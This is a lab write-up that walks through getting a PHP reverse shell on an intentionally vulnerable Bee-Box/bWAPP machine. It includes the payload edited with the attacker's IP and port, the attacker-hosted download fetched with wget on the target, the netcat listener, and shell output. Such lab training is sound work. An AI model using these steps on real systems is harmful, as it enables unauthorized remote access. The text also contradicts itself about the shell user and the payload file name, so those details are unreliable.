Web Based Reverse Shell:

Staging, Delivery, and Exploitation

Author: Simeon Nikolov

---

1. Description

This laboratory demonstrates a complete attack lifecycle: from hosting a malicious payload to achieving a reverse shell on a Linux-based target (Bee-Box). The attack exploits a file upload or command execution vulnerability to deliver a PHP-based reverse shell.

2. Attack Workflow

Phase 1: Staging (Payload Preparation)

I used the professional PHP reverse shell script from **PentestMonkey**.

- **Action:** Modified the $ip and $port variables in the script to match my Kali Linux machine.

  Screenshot:

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
day02-1764695616249.zip  eu-west-1-SIMBAA-regular.ovpn  index.html  passwords.txt  php-reverse-shell.php5  server.py  shell.sh

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# vim php-reverse-shell.php5
```

  I used vim to change the IP and port:

```
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.101';  // CHANGE THIS $port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

- **Hosting:** Started a local Python HTTP server to host the file.

  Screenshot:

```
┌──(root㉿kali)-[/home/kali/Downloads]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Phase 1.1: Network Enumeration

Goal: Map the target's attack surface.

- **Tool:** Nmap.
- **Findings:** Port 80 (HTTP) is open, indicating a web application is running, which will be the primary entry point.

  Screenshot:

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV 192.168.56.103
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 13:24 -0400
Nmap scan report for 192.168.56.103
Host is up (0.00067s latency).
Not shown: 983 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fa
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAM
443/tcp  open  ssl/http    Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fa
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAM
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
```

Phase 2: Payload Delivery (Transferring the Exploit)

Goal: Securely transfer the malicious PHP script from the attacker's machine to the target environment.

- **Mechanism:** I utilized the **wget** command-line utility on the target machine. This is a common method used to retrieve files over HTTP in a Linux environment.
- **Execution:** The target was commanded to fetch the revshell.php file directly from my hosted Python server on port 80.
- **Command used on Target:** wget http://192.168.56.101/php-reverse-shell.php5
- **Verification:** The Python server logs on the Kali machine confirmed a successful HTTP 200 OK response, indicating the file was delivered.

  Screenshot:

Phase 3: Exploitation (Establishing the Reverse Shell)

Goal: Execute the payload and gain remote command-line access.

- **Preparation:** Before execution, I set up a **Netcat (nc)** listener on my Kali machine to wait for the incoming connection from the target.
- **Execution:** I triggered the payload on the Bee-Box using the PHP interpreter.
- **Command used on Target:** php revshell.php
- **Result:** The script successfully initiated a callback to my Kali machine. The Netcat listener captured the session, providing me with an interactive shell as the www-data user.

Screenshot:

```
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.103] 34766
Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux
 22:26:12 up 17 min,  3 users,  load average: 0.06, 0.05, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    :1.0             22:09   16:48m  0.00s  0.00s -bash
bee      tty7     :0               22:09    0.00s  9.32s  0.18s x-session-manag
bee      pts/2    :0.0             22:23    0.00s  0.04s  0.04s bash
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
/bin/sh: can't access tty; job control turned off
$ whoami
bee
$ id
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
$ hostname
bee-box
$ uname -a
Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux
$ ls -la /var/www/bWAPP
total 1568
drwxrwxr-x 13 root www-data 12288 2014-11-02 23:52 .
drwxrwxr-x  7 root www-data  4096 2014-11-02 23:52 ..
-rw-rw-r--  1 root www-data   112 2014-11-02 23:52 666
drwxrwxr-x  2 root www-data  4096 2014-11-02 23:52 admin
-rw-rw-r--  1 root www-data  2093 2014-11-02 23:52 aim.php
drwxrwxr-x  2 root www-data  4096 2014-11-02 23:52 apps
-rw-rw-r--  1 root www-data  6623 2014-11-02 23:52 ba_captcha_bypass.php
-rw-rw-r--  1 root www-data   732 2014-11-02 23:52 backdoor.php
-rw-rw-r--  1 root www-data 10033 2014-11-02 23:52 ba_forgotten.php
-rw-rw-r--  1 root www-data  7551 2014-11-02 23:52 ba_insecure_login_1.php
```

Phase 4: Post-Exploitation & Enumeration

After establishing the reverse shell connection, I performed basic system enumeration to confirm the extent of the access.

- **Identity Confirmation:** The whoami command confirmed access as the www-data service account.
- **System Information:** Running uname -a provided detailed kernel information, essential for identifying potential local privilege escalation vectors.
- **Data Access:** I successfully listed the contents of the web directory, proving full access to the application's source code and sensitive configuration files.